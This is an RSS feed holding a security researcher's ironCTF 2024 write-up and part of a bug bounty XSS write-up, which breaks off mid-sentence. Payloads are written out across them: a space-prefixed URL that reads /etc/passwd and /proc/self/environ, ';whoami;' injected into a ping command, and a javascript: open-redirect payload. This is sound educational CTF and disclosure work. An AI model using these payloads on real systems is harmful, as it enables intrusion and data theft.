<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shlok K on Medium]]></title>
        <description><![CDATA[Stories by Shlok K on Medium]]></description>
        <link>https://medium.com/@pphreak313?source=rss-295ad504dab1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*RAxpHU18kyc6wgAZLmvQGA.jpeg</url>
            <title>Stories by Shlok K on Medium</title>
            <link>https://medium.com/@pphreak313?source=rss-295ad504dab1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:54:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pphreak313/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ironCTF 2024 Writeup]]></title>
            <link>https://medium.com/@pphreak313/ironctf-2024-writeup-782f41854341?source=rss-295ad504dab1------2</link>
            <guid isPermaLink="false">https://medium.com/p/782f41854341</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Shlok K]]></dc:creator>
            <pubDate>Tue, 08 Oct 2024 11:45:47 GMT</pubDate>
            <atom:updated>2024-10-08T19:10:50.399Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Hello everyone. IronCTF 2024 was an exciting experience, and I’m proud to have finished at #18 globally and #6 in India overall of 1033 international teams and won amazing SquareX swags, a certificate of excellence and .xyz domain for an year. Competing as part of Team M4N_4ND_M4CH1N3 alongside my teammate </em><a href="https://in.linkedin.com/in/das-somnath"><em>Somnath Das (0xcafebabe)</em></a><em>, we tackled various challenging problems. This write-up will cover our key challenges and how we approached them.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sOjYt04UaU0hs1YT1oBMIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*1YMCGxs9KeB5RCkoejRZDQ.png" /></figure><p>Let&#39;s begin with the writeup.</p><ol><li><strong>Welcome [ Category: Warmup ]</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*MpJ7Iat7I2q-cw0MUTsICA.png" /></figure><p>So as the description say to join the Discord and read the rules. Here was the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLXusGZRdtaff9YL5oGqIQ.png" /></figure><blockquote>FLAG: ironCTF{W3lc0m3_t0_ir0nCTF_2024}</blockquote><p>2<strong>. Fire in the Base Camp [ Category: Android ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*O0X5DjPhPx5mx9ZJd0VZ6g.png" /></figure><p>We were provided with an android package to examine. I used jadx to decompile the package. <br>I did have experience with Fireabase DB in an android application before and hence the file at /res/values/strings.xml will give you the firebase database URL:</p><blockquote>Here: &lt;string name=”fburl”&gt;<a href="https://app3-7d107-default-rtdb.firebaseio.com/">https://app3-7d107-default-rtdb.firebaseio.com/</a>&lt;/string&gt;</blockquote><p>Now as the challenge name says: Fire in the base camp, I had a feeling this will be related to misconfigured instance where an attacker can upload files and read files without Authorization token. You can read about it: <br><a href="https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/">https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/</a></p><p>So the next thing was to access the URL : <a href="https://app3-7d107-default-rtdb.firebaseio.com/">https://app3-7d107-default-rtdb.firebaseio.com/</a>.json</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*HSdgkFz9WwHDE9U7FMMyyg.png" /></figure><blockquote>FLAG: ironCTF{y0u_pu7_0u7_th3_f1r3_1n_th3_b4s3_c4mp_1f84a5c66f5}</blockquote><p>3.<strong> Introspection [Category: Warmup Pwn]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*y8QP8cfh8sQ1xabD1ZiWYA.png" /></figure><p>We are provided with a zip file containing test flag and the c binary with the c code.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>int main() {<br>    // Disable buffering for stdout and stdin<br>    setvbuf(stdout, NULL, _IONBF, 0);<br>    setvbuf(stdin, NULL, _IONBF, 0);<br><br>    // Display introspective quote<br>    printf(&quot;\033[32m\&quot;Introspection is the key to unlocking your fullest potential; knowing yourself is the first step.\&quot;\033[0m\n\n&quot;);<br>    printf(&quot;                                                                                         - ChatGPT\n&quot;);<br><br>    // Prompt the user for input<br>    printf(&quot;Have you thought about what you really wanted in life?\n&quot;);<br><br>    // Open the flag file<br>    char flag[50];<br>    FILE *file = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    if (file == NULL) {<br>        printf(&quot;Error! flag.txt not found!\n&quot;);<br>        exit(1);<br>    }<br><br>    // Read the flag from the file<br>    fread(flag, 1, 50, file);<br><br>    // Close the file after reading<br>    fclose(file);<br><br>    // User input buffer<br>    char buf[1008];<br>    printf(&quot;&gt;&gt; &quot;);<br>    <br>    // Read user input into the buffer<br>    read(0, buf, 1008);<br><br>    // Respond with user&#39;s input<br>    printf(&quot;I wish for you that you get %s&quot;, buf);<br><br>    return 0;<br>}</pre><p>In line number 21:</p><pre>read(0, buf, 1008);</pre><p>the read function is reading 1008 bytes of input into the buffer buf, which is also 1008 bytes long. Since no bound check is done, if we supply more than 1008 byte input, it will lead to buffer overflow.</p><p>Payload:</p><pre>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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ul1!}</blockquote><p>4. <strong>Game of hunt: [Category: Forensics.]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*N_78DbJqvSvelHMlYr5mbQ.png" /></figure><p>We are provided with a text file: upsidedown.txt which contains a very long binary-coded text. <br>The very first thing is did to import the text file in Cyberchef in order to decrypt the binary to text:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WcJY5QLTkUwyWT4-4zXHw.png" /></figure><p>All gibberish stuff. But if we scroll down, we can see PK . This represents a zip file header value. You can read about it here: <a href="https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html">https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html</a></p><p>I reversed the binary decoded output and downloaded the output file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrCQWuef6KIt2UtOPcGdQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jxlxXKG7UMXoTPCYwzJsrg.png" /></figure><p>I opened the downloaded zip file and it had an ilovepdfs directory which had 100 pdf files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJgt6Fe6H3tfjDK61SZFrw.png" /></figure><p>All of the pdfs had same size around 1417–1419 bytes but one of them was 6281 bytes long: download_83.pdf. I opened the pdf:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*og-aAD30gKwAzcCff9FtAQ.png" /></figure><p>As it says, there is a hidden esolang right there. All I did was Crtl+A and Ctrl+C and pasted the content of the pdf in Notepad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*EYW9beHjqAGRbvebzb3ygA.png" /></figure><p>So this was the hidden text. This is an esolang called Brainfuck. We can use online compilers for this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baFfDOxiO00r0dvXkrE7cQ.png" /></figure><blockquote>FLAG: ironCTF{You_are_the_finest}</blockquote><p>5<strong>. b64SiteViewer: [Category: Web]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*e1mfOYWWLklHCYErFu_ztA.png" /></figure><p>This challenge required looking at even small details and was quite interesting to solve.</p><p>We are provided with the application source code and the actual challenge URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXuaoQfkKrXkegxepMs_BA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*aGIrNtb8KxETH2S2Rp0SJg.png" /></figure><blockquote>app.py:</blockquote><pre>from flask import render_template,render_template_string,Flask,request<br>from urllib.parse import urlparse<br>import urllib.request<br>import random<br>import os<br>import subprocess<br>import base64<br>app=Flask(__name__)<br>app.secret_key=os.urandom(16)<br><br>@app.route(&#39;/&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;])<br>def home():<br>    if request.method==&#39;GET&#39;:<br>        return render_template(&#39;home.html&#39;)<br>    if request.method==&#39;POST&#39;:<br>        try:<br>            url=request.form.get(&#39;url&#39;)<br>            scheme=urlparse(url).scheme<br>            hostname=urlparse(url).hostname<br>            blacklist_scheme=[&#39;file&#39;,&#39;gopher&#39;,&#39;php&#39;,&#39;ftp&#39;,&#39;dict&#39;,&#39;data&#39;]<br>            blacklist_hostname=[&#39;127.0.0.1&#39;,&#39;localhost&#39;,&#39;0.0.0.0&#39;,&#39;::1&#39;,&#39;::ffff:127.0.0.1&#39;]<br>            if scheme in blacklist_scheme:<br>                return render_template_string(&#39;blocked scheme&#39;)     <br>            if hostname in blacklist_hostname:<br>                return render_template_string(&#39;blocked host&#39;)<br>            t=urllib.request.urlopen(url)<br>            content = t.read()<br>            output=base64.b64encode(content)<br>            return (f&#39;&#39;&#39;base64 version of the site:<br>                {output[:1000]}&#39;&#39;&#39;)<br>        except Exception as e:<br>                print(e)<br>                return f&quot; An error occurred: {e} - Unable to visit this site, try some other website.&quot;<br><br><br>@app.route(&#39;/admin&#39;)<br>def admin():<br>    remote_addr = request.remote_addr<br>    <br>    if remote_addr in [&#39;127.0.0.1&#39;, &#39;localhost&#39;]:<br>        cmd=request.args.get(&#39;cmd&#39;,&#39;id&#39;)<br>        cmd_blacklist=[&#39;REDACTED&#39;]<br>        if &quot;&#39;&quot; in cmd or &#39;&quot;&#39; in cmd:<br>            return render_template_string(&#39;Command blocked&#39;)<br>        for i in cmd_blacklist:<br>            if i in cmd:<br>                return render_template_string(&#39;Command blocked&#39;)<br>        print(f&quot;Executing: {cmd}&quot;)<br>        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)<br>        return res.stdout<br>    else:<br>        return render_template_string(&quot;Don&#39;t hack me&quot;)<br><br>if __name__==&quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;,port=&#39;5000&#39;)</pre><blockquote>Brief explanation:<br>The code takes a Post parameter URL and makes a request to the URL using: urllib.request.urlopen(url) and displays back the base64 encoded content of the page. There are various security checks on the type of URL being passed. There is a list of blacklisted URL schemes and Hostnames. <br>The further code was literally useless, or I needed to use it to solve the challenge.</blockquote><p>I intercepted the request using burp and sent the URL as: <a href="http://http//evil.com">HTTP://evil.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7g_1ItaNtL1eHMq3tZ8HjA.png" /></figure><p>So it retrieved the base64 equivalent of the frontend of evil.com.<br>The next thing was to use my collaborator URL as a payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fe0HPuJQw4MiT2rd5kSZdg.png" /></figure><p>The thing to notice here was: <strong><em>Python-urllib/3.9</em></strong>. It&#39;s fine as we saw this in the source code. But the thing to wonder about is the version: 3.9 . I solved a box a while ago on HTB and it had a part similar to this.</p><p>Takeaway:<br>URLLIB up to 3.11.4 is vulnerable to CVE-2023–24329 which allows an attacker to bypass URL blacklisting.<br>You can read about the work here: <a href="https://www.vicarius.io/vsociety/posts/cve-2023-24329-bypassing-url-blackslisting-using-blank-in-python-urllib-library-4">https://www.vicarius.io/vsociety/posts/cve-2023-24329-bypassing-url-blackslisting-using-blank-in-python-urllib-library-4</a></p><p>Payload formation: <br>So adding a space before the URL bypassed the mechanism and allowed us to use different schemes .</p><p>Payload: “ file:/etc/passwd”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*we5Kzt4J-wFnHQzc8dG3wQ.png" /></figure><blockquote>Getting the flag: “ file:/proc/self/environ”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dy3UXwqh1hAh67JvEK9ZaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTXbsTof_WIda9x_8tzhiA.png" /></figure><blockquote>FLAG: ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}</blockquote><p><strong>6. John’s Cryptic Stories [ Category: Misc]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*thI1cJIn8PbNMEhGjPRRDQ.png" /></figure><p>This was also a very nice challenge that required precise observational skills.</p><p>This challenge involved interacting with a Discord Bot named John:<br>So, John supports 7 commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*lM9L8hQQD_rOkvGRDN21Hg.png" /></figure><pre>!flag<br>Output : ironCTF{f4ke_fl4g}<br>!help<br>Output:<br>​No Category:<br>  commands Shows this help message<br>  flag     Get the flag in DM<br>  help     Shows this message<br>  part0    Get part 0 of the story<br>  part1    Get part 1 of the story<br>  part2    Get part 2 of the story<br>  part3    Get part 3 of the story<br>  story    Get the inspirational story of John<br><br>Type !help command for more info on a command.<br>You can also type !help category for more info on a category.<br>!part0<br>Part 0:<br>The hacker-name-John was well known in the underground<br>He was known-for-his-skills and could solve even the-toughest-challenges<br>Late one night. He began-working on a new challenge.<br>It seemed easy at first. but there was more than met the eye. He tried.<br>!part1:<br>Part 1:<br>He focused. He concentrated. He adapted. He started-seeing-patterns that others missed<br>He is good. He recognized these hidden clues. With each-clue, his-understanding deepened. His-dedication was unwavering<br>John could feel the pressure.He struggled. can crack-this, he thought<br>Time was running-out, but he stayed calm.<br>Every keystroke mattered. He waited. He was almost at the end. Happiness-was filled<br>!part2:<br>Part 2:<br>Finally. the last piece of the challenge was in place. Success was his. and he-couldn&#39;t help-but smile<br>The breakthrough had come at last. after-long-hours-of-perseverance<br>His dedication had paid off. Every-detail every clue. that had led to this moment.<br>He admired. his work with a sense of accomplishment. The hacker-name-John had done it again. solving-the unsolvable<br>!part3:<br>Part 3:<br>He knew this victory was just one of many-to-come, and with that thought. He prepared. He awaited for his next challenge.<br>As dawn broke. John-reflected on the journey.<br>Each challenge had sharpened his skills. In each victory. He had strengthened his-resolve<br>He looked-forward to new-challenge. New mysteries to unravel. New challenges.<br>The world of hacking was full of secret.He was confident. He believed. He was ready to uncover them all.<br>!story:<br>Inspirational story of John</pre><p>So the output was quite generalized and did not seem to have any flag in it. My initial thoughts were that there might be hidden commands that are not listed here but that was not true. I was frustrated at this point and took a 2-hour break.</p><p>After the break, I again kept looking at the same output for 15 straight minutes. Then I realised that the part0, part1,part2 and part3 outputs were grammatically wrong as they had absurd use of “.” and “-” and unusual line breaks.</p><p>Now things were getting clear. If you know about Morse code, you know its made of 3 characters: “ ”, “-”, “.”.</p><blockquote>Key takeaways:</blockquote><blockquote>1. Each line break in the paragraph represented a space and combining them with all the . and — made a morse code as:</blockquote><pre>-- ----- .-. ... ...-- ..--.- ..- -. ...- ...-- .---- .-.. ..--.- --... .-. ..- --... ....</pre><blockquote>Flag: ironCTF{M0RS3_UNV31L_7RU7H}</blockquote><p>7.<strong> MovieReviewApp [ Category: Web]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*8F_abrKj13aq7jX7Mbof_A.png" /></figure><p>In this challenge, we were only provided with a URL that when accessed, shows this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a8EkaAOyKutGLY2B5Dqx5w.png" /></figure><p>The thing to notice here is that we are inside a subdirectory: /movies. So visiting the parent directory showed this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpsEwdyq9nIlyKG5tpc7CA.png" /></figure><p>The parent directory has directory listing enabled and the main key is the exposed git directory.</p><p>If we have a domain with a publically accessible git directory, we can dump the source code of the web app. You can read about it here:<br><a href="https://infosecwriteups.com/exposed-git-directory-exploitation-3e30481e8d75">https://infosecwriteups.com/exposed-git-directory-exploitation-3e30481e8d75</a></p><p>I utilized an open-source tool called <a href="https://github.com/arthaud/git-dumper">git-dumper</a> to grab the source code:</p><pre>git-dumper https://movie-review.1nf1n1ty.team/.git/ reviewmovie</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdtoxZE2vilZlxnZJuZxPg.png" /></figure><p>The application had .git and movies directory and the movie directory only had static HTML files which did not have the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*KHCx61tLLvMd107-HWVWSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*d7XXY1nsn8X06BWipusXzg.png" /></figure><p>So the next thing I did was to check for the git log. A git log displays all the commits made to the repo and its snapshot. A GitHub commit is any action as the deletion of certain files or creation of files or any other action. Reading the git log can potentially allow us to recover any deleted files in the repo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*C_62u3rFNs3QfH5NCP_IPw.png" /></figure><p>There were many commits made. As we can there is a commit: Created monitor application to monitor the site.</p><p>Next, we use the command to see the actual commit :</p><pre>git show COMMITID</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQyo15pX1wRiuP-2FyB18g.png" /></figure><p>Key takeaways:</p><ol><li>There was a monitoring app made under the directory: servermonitor which was running on Flask.</li></ol><p>Although this commit did give us much important info, it still did not have solid source code as accessing /servermonitor landed us on a login page but the current commit did not have any route to /admin :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69cjo1zDxh2YcukXBJrZ3g.png" /></figure><p>So I explored other commits as well:</p><p>Commit id: 66469c24090e50c6a4a955f679c6cfff2f2380da exposed the login credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*e92--1uEgGAz94nYcrX-OQ.png" /></figure><p>Commit id:bcc1c6e298dac556c103d79adb9c47d6f9763cf7 showed the actual entry point to gain RCE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GicAezJaCvMGXoP8qWh7_Q.png" /></figure><p>Vulnerable Code:</p><pre>def ping_ip(ip, count):<br>    if re.match(r&#39;^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$&#39;, ip):<br>        return subprocess.check_output(f&quot;ping -c {count} {ip}&quot;, shell=True).decode()<br>    else:<br>        return &quot;Invalid ip address and count!&quot;</pre><p>What&#39;s wrong here?<br>As we can see there is proper regex to check if the IP address supplied follows the pattern of IPV4 as x.x.x.x . But the count doesn&#39;t have any such checks.</p><pre>Exploit Scneario:<br>1. Login to the admin panel using the credntials.<br>2. Supply a valid IP in the IP address and intercept the request. Change the count to value as:<br>;whoami;<br><br>Final payload on Server side will work like:<br>ping -c ;whoami; x.x.x.x</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALglqSyKHrk9pZzc-8UCSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qRg4ffOVunRYzmxionQ7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8rrH5vrkVpWfgVHaVKp2A.png" /></figure><p>Reading the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pz8ZgPPA-p7X3caBJnoS_g.png" /></figure><blockquote>FLAG: ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}</blockquote><p>8<strong>. Random Pixel [Category: Forensics]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*6CR_Gjbdrs6NHvNvEkQosw.png" /></figure><p>We ate provided with a zip file which contains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*_PLCdWwi356qnDCbKnSANQ.png" /></figure><p>enc.py:</p><pre>import random, time, numpy<br>from PIL import Image<br>from secret import FLAG<br><br>def randomize(img, seed):<br> random.seed(seed)<br> new_y = list(range(img.shape[0]))<br> new_x = list(range(img.shape[1]))<br> random.shuffle(new_y)<br> random.shuffle(new_x)<br><br> new = numpy.empty_like(img)<br> for i, y in enumerate(new_y):<br>  for j, x in enumerate(new_x):<br>   new[i][j] = img[y][x]<br> return numpy.array(new)<br><br><br>if __name__ == &quot;__main__&quot;:<br> with Image.open(FLAG) as f:<br>  img = numpy.array(f)<br>  out = randomize(img, int(time.time()))<br>  image = Image.fromarray(out)<br>  image.save(&quot;encrypted.png&quot;)</pre><p>encrypted.png:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*iX1O1XL_oSZe_bhM77kfHg.png" /></figure><p>So what&#39;s actually happening?</p><p>The script enc.py takes a file FLAG opens it as an image and randomize the image by scrambling its pixels according to a random seed generated from the current timestamp (time.time()).</p><p>My thinking:<br>If we somehow get to know the actual file creation time , we can utilize that to get the actual seed value and then retrieve the original image.</p><p>Getting the time:<br>I used Exiftool to get the file creation time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*SWvJXFik6QAEbKwjHBeDTQ.png" /></figure><p>Converting the time to GMT and epoch we get the value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*7UT1K0M_LhhP1tPo8cy3_g.png" /></figure><p>Seed value: 1727902960</p><p>Decryption script:</p><pre>import random<br>import numpy<br>from PIL import Image<br><br>def reverse_randomize(img, seed):<br>    # Regenerate the same random seed<br>    random.seed(seed)<br>    <br>    # Get the dimensions of the image (height and width)<br>    height, width = img.shape[0], img.shape[1]<br><br>    # Create the original ordered indices for rows and columns<br>    original_y = list(range(height))<br>    original_x = list(range(width))<br><br>    # Shuffle them exactly as was done in the encryption process<br>    shuffled_y = original_y.copy()<br>    shuffled_x = original_x.copy()<br>    random.shuffle(shuffled_y)<br>    random.shuffle(shuffled_x)<br><br>    # Initialize an empty array for the decrypted image<br>    decrypted_img = numpy.empty_like(img)<br><br>    # Reverse the shuffling: place each shuffled pixel back to its original position<br>    for i, y in enumerate(shuffled_y):<br>        for j, x in enumerate(shuffled_x):<br>            decrypted_img[y][x] = img[i][j]  # Move shuffled pixel back to correct position<br><br>    return decrypted_img<br><br>if __name__ == &quot;__main__&quot;:<br>    # Load the encrypted image<br>    with Image.open(&quot;encrypted.png&quot;) as f:<br>        img = numpy.array(f)<br>        <br>        seed = 1727902960<br>        <br>        # Reverse the shuffling process<br>        decrypted_img = reverse_randomize(img, seed)<br>        <br>        # Convert the decrypted NumPy array back to an image and save it<br>        image = Image.fromarray(decrypted_img)<br>        image.save(&quot;decrypted2.png&quot;)</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*TOs_JQGQQxGkY7j901S4hA.png" /></figure><blockquote>FLAG: ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}</blockquote><p><strong>9. Brainfreezer [Category: Misc]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*BatI5PBHlkZdbwt5PiWvuw.png" /></figure><p>We are provided with password protected textbin links which require as password to see the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4hWiqhds4dLcpANNGLZJBQ.png" /></figure><p>A quick google search about the highlighted Challenge description will give you information about:</p><blockquote>The “head in the freezer” meme originated when New York artist David Horvitz shared a photo of his head in a freezer on Flickr. The photo was titled “241543903”. After the photo went viral, users on Tumblr began posting photos of their heads in a freezer.</blockquote><p>Using password:241543903 will give you the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*42PtoOdsHYAymy81F1FoVg.png" /></figure><blockquote>FLAG: ironCTF{im_atl3ast_c00l_n0w}</blockquote><p><strong><em>Conclusion:</em></strong><br>I would like to thank Team <a href="https://1nf1n1ty.team/">1nf1n1ty</a> for hosting such an amazing CTF. Next year, we will surely try to be on the TOP! ❤</p><p><strong>Socials:</strong><br>Me: <a href="https://linkedin.com/in/ehsks">https://linkedin.com/in/ehsks</a></p><p>Somnath: <a href="https://in.linkedin.com/in/das-somnath">https://in.linkedin.com/in/das-somnath</a></p><p>Thank you ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=782f41854341" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS: Demonstrating Impact Without Credentials]]></title>
            <link>https://infosecwriteups.com/xss-demonstrating-impact-without-credentials-db7fff38792a?source=rss-295ad504dab1------2</link>
            <guid isPermaLink="false">https://medium.com/p/db7fff38792a</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <dc:creator><![CDATA[Shlok K]]></dc:creator>
            <pubDate>Wed, 26 Jun 2024 04:45:49 GMT</pubDate>
            <atom:updated>2024-07-01T11:31:29.064Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, fellow hackers and tech enthusiasts. In this write-up, I will demonstrate how I used a Layer 1 authentication bypass to showcase the impact of an XSS vulnerability, even when the program did not provide credentials for testing.</p><p>Let’s get started.</p><p>The program does not allow disclosure, so I am redacting the details. We’ll refer to the target as: docs.redacted.com. This was a public program on Bugcrowd with a very confined scope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OXKK38BN4gf0zbrOD5yw5g.png" /></figure><p>Hacking within such a confined scope is challenging, but the program had zero accepted reports, which made it an enticing target for me.</p><p>I chose a random target from the six available and accessed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fhr34aKoR0l4jDZDcYPiWA.png" /></figure><p>It was a documentation page. I explored all the links and landed on this page:</p><p><a href="https://docs.redacted.com/support.">https://docs.redacted.com/support.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzE2qbU7lfuo4YcP1PlG-Q.png" /></figure><p>The best part was that the site was open source. As the saying goes, <strong>“I can hack the world if I have the source code.”</strong> ,</p><p>So, I got into analyzing the source code. It took time, but it was all worth it.</p><p>Here is the interesting code I found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oiMw1FJXvY2wYMKRgA2vCQ.png" /></figure><p>Take a look at these lines:</p><pre>if (!token || !(await validateFusionFeedToken(token))) {<br>            return {<br>                redirect: {<br>                    destination: &#39;/login#destination=&#39; + encodeURIComponent(dest),<br>                    permanent: false,<br>                },<br>            };<br>        }</pre><p>If the supplied token value is correct, it redirects the user to the destination, which is specified in the GET parameter as /login#destination=.</p><p>There is no input validation for the destination value, confirming a P4 vulnerability &quot;Open Redirect&quot; in this domain.</p><p>However, this is an action-specific vulnerability.</p><p>Hence, even for the Open redirect, we will need the credentials or the token value to at least pass the function for the redirection to take place. However, the program had no credentials provided. I did reach out to the tech support of the domain and they said :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*JQiEx0rnshdJzxOSOvbawQ.png" /></figure><p>:/ . Nvm, I respect the company’s policy.</p><p>Let&#39;s get back to the open redirect.</p><p>The chain of open redirects can lead to a very effective XSS attack. Using the javascript: URI, we can supply arbitrary JavaScript that will be executed when the user logs in.</p><p>For example, javascript:alert(1) would pop an alert box saying &quot;1&quot;.</p><p>I accessed the URL to make a final attempt to bypass the login and prove the impact:</p><p>URL : <a href="https://docs.redacted.com/login#destination=javascript:alert(1)">https://docs.redacted.com/login#destination=javascript:alert(1)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*cn7tor2pMuvofjffGUtHEQ.png" /></figure><p>I entered random credentials and captured the request using Burp.</p><pre>POST /v2/graphql HTTP/2<br>Host: xxx.xxxx.redacted.com<br>Content-Length: 12<br>Sec-Ch-Ua: &quot;Google Chrome&quot;;v=&quot;125&quot;, &quot;Chromium&quot;;v=&quot;125&quot;, &quot;Not.A/Brand&quot;;v=&quot;24&quot;<br>Content-Type: application/graphql<br>Sec-Ch-Ua-Mobile: ?0<br>Authorization: token abcd<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36<br>Sec-Ch-Ua-Platform: &quot;Windows&quot;<br>Accept: /<br>Origin: https://docs.redacted.com<br>Sec-Fetch-Site: same-site<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://docs.redacted.com/<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8<br>Dnt: 1<br>Sec-Gpc: 1<br>Priority: u=1, i<br><br>{__typename}</pre><p>A GraphQL POST request was being made to a different subdomain and our supplied credential was being parsed as an Authorization Token value. E.g.; abcd in this case.</p><p>Response:</p><pre>HTTP/2 401 Unauthorized <br>Date: Sat, 15 Jun 2024 18:48:30 GMT <br>Content-Type: application/json <br>Content-Length: 64 <br>Cf-Ray: 8944bc11abef9a78-NAG Cf-Cache-Status: DYNAMIC <br>Access-Control-Allow-Origin: * <br>Cache-Control: max-age=1 <br>Vary: Accept-Encoding, Authorization <br>Content-Security-Policy: default-src &#39;none&#39; <br>X-Content-Type-Options: nosniff <br>Server: cloudflare<br>{&quot;message&quot;:&quot;You are not authorized to perform this operation.&quot;}</pre><p>So we got a 401 Unauthorized 